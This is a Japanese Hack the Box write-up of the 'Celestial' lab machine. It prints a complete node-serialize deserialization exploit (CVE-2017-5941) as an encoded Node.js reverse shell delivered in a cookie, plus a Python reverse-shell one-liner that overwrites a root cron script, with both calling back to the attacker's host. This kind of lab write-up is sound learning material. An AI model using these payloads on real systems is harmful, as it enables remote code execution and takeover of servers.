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【Hack the Box write-up】Celestial

 ·   ·  ☕ 3 min read  ·  ✍️ さんぽし

はじめに

筆者は Hack the Box 初心者です。
何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。
さんぽし(@sanpo_shiho) | Twitter

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。
github | sanposhiho/MY_CHEAT_SHEET

machineについて

難易度は medium です

スクリーンショット 2020-06-09 1.57.23.png

medium の中では簡単な方の machine です

nmap

kali@kali:~$ nmap -sV -sC 10.10.10.85
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-08 04:21 EDT
Nmap scan report for 10.10.10.85
Host is up (0.45s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.64 seconds


3000 ポートだけ空いてるって珍しいですね

3000ポート開いてみる

スクリーンショット 2020-06-08 17.35.17.png


この状態でリロードを押すと

スクリーンショット 2020-06-08 17.35.31.png

このような画面になります

何が起こったかBurpで見る

スクリーンショット 2020-06-08 17.48.51.png

なんか Cookie にくっついてますね

base64でdecode

eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D

%3D は=なので

eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==

を decode します

kali@kali:~$ echo eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ== | base64 -d                                                                                
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

怪しさ max ですね

Cookieを変えてみる

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{"username":"Test!","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
kali@kali:~$ tr -d "\n" < test.txt | base64
eyJ1c2VybmFtZSI6IlRlc3QhIiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVt
YiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==

スクリーンショット 2020-06-08 18.12.35.png

表示される名前が変わりました

だから何?

だから何?となりました。

刺さりそうなExploit探す

調べていると Nodejs の CVE-2017-5941 が見つかります。
いかに CVE の解説があります

Exploiting Node.js deserialization bug for Remote Code Execution(CVE-2017-5941)

これいわゆる「安全でないデシリアライゼーション」と言ったやつですね。徳丸さん Youtube の動画が分かりやすです
https://www.youtube.com/watch?v=fwk-aThG6ik

以下の解説と↑のやつ元に脆弱性が通るかを含めて調べます
http://www.reverse-edge.com/mt/know-how/2017/02/entry.html

nodejs わざわざ Kali に入れるのめんどくせぇ…となりました。

解説記事にあるように以下を clone して使います
https://github.com/ajinabraham/Node.Js-Security-Course

kali@kali:~/Node.Js-Security-Course$ python nodejsshell.py 10.10.14.9 4242
[+] LHOST = 10.10.14.9
[+] LPORT = 4242
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,57,34,59,10,80,79,82,84,61,34,52,50,52,50,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

log.js はここから取ってきました。

function 内を出力に置き換えます

1
2
3
4
5
6
var y = {
rce : function(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,57,34,59,10,80,79,82,84,61,34,52,50,52,50,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

kali@kali:~/Node.Js-Security-Course$ node log.js 
Serialized: 
{"rce":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,57,34,59,10,80,79,82,84,61,34,52,50,52,50,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}"}


#()を足して↑をpayload.txtに保存する


kali@kali:~/Node.Js-Security-Course$ base64 payload.txt | tr -d '\n'
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXtldmFsKFN0cmluZy5mcm9tQ2hhckNvZGUoMTAsMTE4LDk3LDExNCwzMiwxMTAsMTAxLDExNiwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksMTEwLDEwMSwxMTYsMzksNDEsNTksMTAsMTE4LDk3LDExNCwzMiwxMTUsMTEyLDk3LDExOSwxMTAsMzIsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDk5LDEwNCwxMDUsMTA4LDEwMCw5NSwxMTIsMTE0LDExMSw5OSwxMDEsMTE1LDExNSwzOSw0MSw0NiwxMTUsMTEyLDk3LDExOSwxMTAsNTksMTAsNzIsNzksODMsODQsNjEsMzQsNDksNDgsNDYsNDksNDgsNDYsNDksNTIsNDYsNTcsMzQsNTksMTAsODAsNzksODIsODQsNjEsMzQsNTIsNTAsNTIsNTAsMzQsNTksMTAsODQsNzMsNzcsNjksNzksODUsODQsNjEsMzQsNTMsNDgsNDgsNDgsMzQsNTksMTAsMTA1LDEwMiwzMiw0MCwxMTYsMTIxLDExMiwxMDEsMTExLDEwMiwzMiw4MywxMTYsMTE0LDEwNSwxMTAsMTAzLDQ2LDExMiwxMTQsMTExLDExNiwxMTEsMTE2LDEyMSwxMTIsMTAxLDQ2LDk5LDExMSwxMTAsMTE2LDk3LDEwNSwxMTAsMTE1LDMyLDYxLDYxLDYxLDMyLDM5LDExNywxMTAsMTAwLDEwMSwxMDIsMTA1LDExMCwxMDEsMTAwLDM5LDQxLDMyLDEyMywzMiw4MywxMTYsMTE0LDEwNSwxMTAsMTAzLDQ2LDExMiwxMTQsMTExLDExNiwxMTEsMTE2LDEyMSwxMTIsMTAxLDQ2LDk5LDExMSwxMTAsMTE2LDk3LDEwNSwxMTAsMTE1LDMyLDYxLDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDUsMTE2LDQxLDMyLDEyMywzMiwxMTQsMTAxLDExNiwxMTcsMTE0LDExMCwzMiwxMTYsMTA0LDEwNSwxMTUsNDYsMTA1LDExMCwxMDAsMTAxLDEyMCw3OSwxMDIsNDAsMTA1LDExNiw0MSwzMiwzMyw2MSwzMiw0NSw0OSw1OSwzMiwxMjUsNTksMzIsMTI1LDEwLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCwzMiw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMTE4LDk3LDExNCwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDMyLDYxLDMyLDExMCwxMDEsMTE5LDMyLDExMCwxMDEsMTE2LDQ2LDgzLDExMSw5OSwxMDcsMTAxLDExNiw0MCw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsNDAsODAsNzksODIsODQsNDQsMzIsNzIsNzksODMsODQsNDQsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0LDMyLDExNSwxMDQsMzIsNjEsMzIsMTE1LDExMiw5NywxMTksMTEwLDQwLDM5LDQ3LDk4LDEwNSwxMTAsNDcsMTE1LDEwNCwzOSw0NCw5MSw5Myw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExOSwxMTQsMTA1LDExNiwxMDEsNDAsMzQsNjcsMTExLDExMCwxMTAsMTAxLDk5LDExNiwxMDEsMTAwLDMzLDkyLDExMCwzNCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDEwNSwxMTAsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMTEsMTE3LDExNiw0NiwxMTIsMTA1LDExMiwxMDEsNDAsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDEwMSwxMTQsMTE0LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTExLDExMCw0MCwzOSwxMDEsMTIwLDEwNSwxMTYsMzksNDQsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDk5LDExMSwxMDAsMTAxLDQ0LDExNSwxMDUsMTAzLDExMCw5NywxMDgsNDEsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTAxLDExMCwxMDAsNDAsMzQsNjgsMTA1LDExNSw5OSwxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMTQsMTE0LDExMSwxMTQsMzksNDQsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwMSw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwMSwxMTYsODQsMTA1LDEwOSwxMDEsMTExLDExNywxMTYsNDAsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsNDQsMzIsODQsNzMsNzcsNjksNzksODUsODQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDEyNSwxMCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw1OSwxMCkpfSgpIn0K

これを Cookie で送り込みます

スクリーンショット 2020-06-09 1.17.18.png

kali@kali:~$ nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.85] 49818
Connected!
python -c 'import pty; pty.spawn("/bin/bash")'
sun@sun:~$ 

シェルが取れました
user.txt が取れます

pspy64

sun@sun:~$ wget http://10.10.14.9:8000/pspy64                                                                                                                                                                                              
wget http://10.10.14.9:8000/pspy64                                                                                                                                                                                                         
--2020-06-08 12:30:15--  http://10.10.14.9:8000/pspy64                                                                                                                                                                                     
Connecting to 10.10.14.9:8000... connected.                                                                                                                                                                                                
HTTP request sent, awaiting response... 200 OK                                                                                                                                                                                             
Length: 3078592 (2.9M) [application/octet-stream]                                                                                                                                                                                          
Saving to: ‘pspy64’                                                                                                                                                                                                                        
                                                                                                                                                                                                                                           
pspy64              100%[===================>]   2.94M   625KB/s    in 7.7s                                                                                                                                                                
                                                                                                                                                                                                                                           
2020-06-08 12:30:23 (389 KB/s) - ‘pspy64’ saved [3078592/3078592]                                                                                                                                                                          
                                                                                                                                                                                                                                           
sun@sun:~$ chmod +x pspy64                                                                                                                                                                                                                 
chmod +x pspy64                                                                                                                                                                                                                            
sun@sun:~$ ./pspy64                                                                                                                                                                                                                        
./pspy64                                                                                                                                                                                                                                   
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855                                                                                                                                                              
                                                                                                                                                                                                                                           

     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...

logloglog...

特に有益な情報は出てきませんでした。

ちなみにのちにわかりますがタイミング良ければこの pspy で CRONJob が見つかりそうだったなって後で思いました

色々調べる

sun@sun:~$ cat output.txt
cat output.txt
Script is running...
sun@sun:~$ cd Documents
cd Documents
sun@sun:~/Documents$ ls
ls
script.py  user.txt
sun@sun:~/Documents$ cat script.py
cat script.py
print "Script is running..."
sun@sun:~/Documents$ cat /var/log/syslog

...
Jun  8 12:40:01 sun CRON[6651]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)

...

なんかみてみると script.py が定期実行されてて、output.txt に書き込んでそうな気がします

PayloadsAllTheThings の Python のやつを書き込んでみます
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python

sun@sun:~/Documents$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",1212));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > script.py

これで nc で待ち構えておくと…

kali@kali:~$ nc -lnvp 1212
listening on [any] 1212 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.85] 40234
root@sun:~# ls
ls
root.txt  script.py

root が取れました!

終わりに

Nodejs の刺さりそうな exploit を探すのが肝でしたね…
medium ですが解けてよかったです

精進します

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さんぽし
WRITTEN BY
さんぽし
Web Developer /w Elixir, Go